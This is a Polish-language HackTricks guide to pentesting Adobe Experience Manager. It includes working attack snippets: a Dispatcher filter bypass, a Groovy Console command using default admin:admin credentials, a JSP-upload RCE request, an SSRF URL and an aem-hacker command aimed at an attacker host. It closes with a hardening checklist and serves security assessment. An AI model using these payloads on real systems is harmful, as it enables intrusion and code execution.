AEM (Adobe Experience Manager) Pentesting
Reading time: 5 minutes
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Adobe Experience Manager (AEM, część Adobe Experience Cloud) to korporacyjny CMS, który działa na Apache Sling/Felix (OSGi) oraz Java Content Repository (JCR). Z perspektywy atakującego instancje AEM często ujawniają niebezpieczne punkty końcowe do rozwoju, słabe zasady Dispatcher, domyślne dane uwierzytelniające oraz długą listę CVE, które są łatanie co kwartał.
Lista kontrolna poniżej koncentruje się na zewnętrznie dostępnej (unauth) powierzchni ataku, która wciąż pojawia się w rzeczywistych zaangażowaniach (2022-2025).
1. Fingerprinting
$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1 # header added by AEM Dispatcher
X-Vary: Accept-Encoding
Inne szybkie wskaźniki:
/etc.clientlibs/
statyczna ścieżka obecna (zwraca JS/CSS)./libs/granite/core/content/login.html
strona logowania z banerem „Adobe Experience Manager”.</script><!--/* CQ */-->
komentarz na dole HTML.
2. Wysokowartościowe punkty końcowe bez uwierzytelnienia
Ścieżka | Co otrzymujesz | Uwagi |
---|---|---|
/.json , /.1.json | Węzły JCR za pomocą DefaultGetServlet | Często zablokowane, ale Dispatcher bypass (patrz poniżej) działa. |
/bin/querybuilder.json?path=/ | API QueryBuilder | Wyciek drzewa stron, wewnętrzne ścieżki, nazwy użytkowników. |
/system/console/status-* , /system/console/bundles | Konsola OSGi/Felix | 403 domyślnie; jeśli ujawnione i znalezione dane uwierzytelniające ⇒ RCE przy przesyłaniu pakietów. |
/crx/packmgr/index.jsp | Menedżer pakietów | Umożliwia przesyłanie pakietów treści z uwierzytelnieniem → przesyłanie ładunków JSP. |
/etc/groovyconsole/** | AEM Groovy Console | Jeśli ujawnione → dowolne wykonanie Groovy / Java. |
/libs/cq/AuditlogSearchServlet.json | Dzienniki audytu | Ujawnienie informacji. |
/libs/cq/ui/content/dumplibs.html | Zrzut ClientLibs | Wektor XSS. |
Sztuczka z obejściem Dispatcher
Większość stron produkcyjnych znajduje się za Dispatcher (reverse-proxy). Jego zasady filtrów można obejść, dodając dozwoloną statyczną rozszerzenie po średniku lub zakodowanej nowej linii:
GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1
Jedno zapytanie, jak powyżej, często ujawnia węzły profilu użytkownika z adresami e-mail. P-T Partners opublikowało dobre wskazówki dotyczące tej słabości. 【】
3. Typowe błędne konfiguracje (wciąż obecne w 2025)
- Anonimowy serwlet POST –
POST /.json
z:operation=import
pozwala na dodawanie nowych węzłów JCR. Zablokowanie*.json
POST w Dispatcherze to naprawia. 【】 - Profile użytkowników dostępne dla wszystkich – domyślne ACL przyznaje
jcr:read
na/home/users/**/profile/*
wszystkim. - Domyślne dane logowania –
admin:admin
,author:author
,replication:replication
. - Włączony WCMDebugFilter ⇒ odzwierciedlone XSS przez
?debug=layout
(CVE-2016-7882, wciąż znalezione w starszych instalacjach 6.4). - Ekspozycja Groovy Console – zdalne wykonanie kodu przez wysłanie skryptu Groovy:
curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json
4. Ostatnie luki (cykl wydania pakietów serwisowych)
Kwartał | CVE | Dotknięte | Wpływ |
---|---|---|---|
Grudzień 2024 | CVE-2024-43711 | 6.5.21 i wcześniejsze | Niewłaściwa walidacja wejścia → Wykonanie dowolnego kodu (wymaga niskoprawnych uprawnień). 【】 |
Grudzień 2024 | CVE-2024-43724/26 | 6.5.21 i wcześniejsze | DOM / Przechowywane XSS w kreatorze przenoszenia strony. 【】 |
Grudzień 2023 | CVE-2023-48452/68 | ≤ 6.5.18 | XSS oparte na DOM przez spreparowany URL. 【】 |
Grudzień 2022 | CVE-2022-30683 | ≤ 6.5.13 | Wada w projektowaniu kryptograficznym → odszyfrowanie sekretu (wymaga niskoprawnych danych logowania). 【】 |
Zawsze sprawdzaj biuletyn APSB odpowiadający pakietowi serwisowemu klienta i żądaj najnowszej wersji 6.5.22 lub Cloud Service 2024.11.
5. Fragmenty eksploatacji
5.1 RCE przez obejście dispatcher + przesyłanie JSP
Jeśli możliwe jest anonimowe zapisywanie:
# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded
:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import
Teraz zażądaj /content/evil.jsp
– JSP działa z użytkownikiem procesu AEM.
5.2 SSRF do RCE (historyczne < 6.3)
/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console
aem_ssrf2rce.py
z aem-hacker automatyzuje cały proces. 【】
6. Narzędzia
- aem-hacker – skrypt do enumeracji typu szwajcarski scyzoryk, wspiera obejście dispatcher, wykrywanie SSRF, sprawdzanie domyślnych poświadczeń i więcej.
python3 aem_hacker.py -u https://target --host attacker-ip
- Content Brute-force – rekurencyjnie żądaj
/_jcr_content.(json|html)
, aby odkryć ukryte komponenty. - osgi-infect – przesyłaj złośliwy pakiet OSGi przez
/system/console/bundles
, jeśli dostępne są poświadczenia.
7. Lista kontrolna wzmacniania (dla rekomendacji w Twoim raporcie)
- Utrzymuj instancję na najbardziej aktualnym pakiecie serwisowym (stan na lipiec 2025: 6.5.22).
- Usuń/zmień domyślne konta; wymuś SSO/SAML.
- Zaostrzyć filtry Dispatcher – odrzucić
;
, zakodowane nowe linie oraz*.json
lub*.querybuilder.json
dla anonimowych użytkowników. - Wyłącz lub zabezpiecz konsolę (
/system/console
,/crx/*
,/etc/groovyconsole
) za pomocą listy dozwolonych adresów IP. - Zastosuj pakiet Wzmacnianie uprawnień anonimowych dostarczony przez Adobe.
Odniesienia
- Adobe Security Bulletin APSB24-69 – „Aktualizacje zabezpieczeń dla Adobe Experience Manager (grudzień 2024)”.
- 0ang3el – narzędzie aem-hacker (GitHub).
tip
Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.